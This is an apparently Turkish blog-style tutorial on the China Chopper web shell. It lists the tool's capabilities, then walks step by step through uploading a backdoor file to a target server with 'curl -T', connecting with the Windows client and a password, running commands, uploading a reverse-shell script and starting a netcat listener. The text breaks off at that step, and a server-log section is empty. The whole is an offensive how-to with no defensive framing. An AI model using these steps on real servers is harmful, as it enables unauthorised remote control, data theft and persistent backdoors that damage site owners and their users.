**China Chopper**, küçük boyutlu ve güçlü bir **web shell** aracıdır. Saldırganlar tarafından web sunucularına sızıldıktan sonra uzaktan kontrol sağlamak, komut çalıştırmak, dosya yüklemek/indirmek, veritabanına erişmek ve reverse shell açmak gibi işlemler için kullanılır.

Yalnızca 4 KB boyutunda bir **client** ve karşılık olarak sunucuya yerleştirilen **“backdoor” (web shell)** dosyasından oluşur.

**Bu Aracın Özellikleri Nelerdir?**

* **Küçük Boyutlu**: Sadece 4 KB boyutunda PHP, ASPX, JSP veya CFM formatında olabilir.
* **Grafiksel Arayüz**: Windows tabanlı istemci üzerinden yönetim sağlar.
* **Dosya Yöneticisi**: Dosya yükleme, düzenleme, silme.
* **Komut Satırı**: Tüm sistem komutları gönderilebilir.
* **Veritabanı Erişimi**: MySQL, MSSQL bağlantısı yapabilir.
* **Obfuscation Desteği**: Tespiti zorlaştırmak için şifreli iletişim kurar.
* **Reverse Shell** özelliği mevcuttur.

**China Chopper Kullanımı: Kali Linux + Hedef Web Sunucusu**

**Adım 1: Web Sunucusuna Backdoor (Shell) Dosyasını Yükle**

Örnek: chopper.php

“curl -T chopper.php http://target.com/uploads/”

Shell adı: chopper.php

Parola parametresi: pass

**Adım 2: Windows’ta Chopper Client’ı Başlatın**

Client: CHM.exe (China Chopper’ın Windows GUI istemcisi)

* “File Manager” paneli açılır
* Shell URL: http://target.com/uploads/chopper.php
* Password: pass

Shell bağlantısı başarılı olursa:

* Dizin yapısı listelenir
* Komut çalıştırma paneli açılır

**Adım 3: Komut Gönderimi ve Yanıt Alma**

GUI içindeki terminal alanına komut yazılır: whoami

**Terminalde Chopper Logu (Sunucu tarafı Apache loglarında görünür):**



**Adım 4: Dosya Yükleme**

GUI içinden:

* Sağ tık → “Upload”
* revshell.php dosyası seçilir

**Adım 5: Reverse Shell Tetikleme (PHP)**

Kali’de listener başlatılır:

“nc -lvnp 4444” komutu ile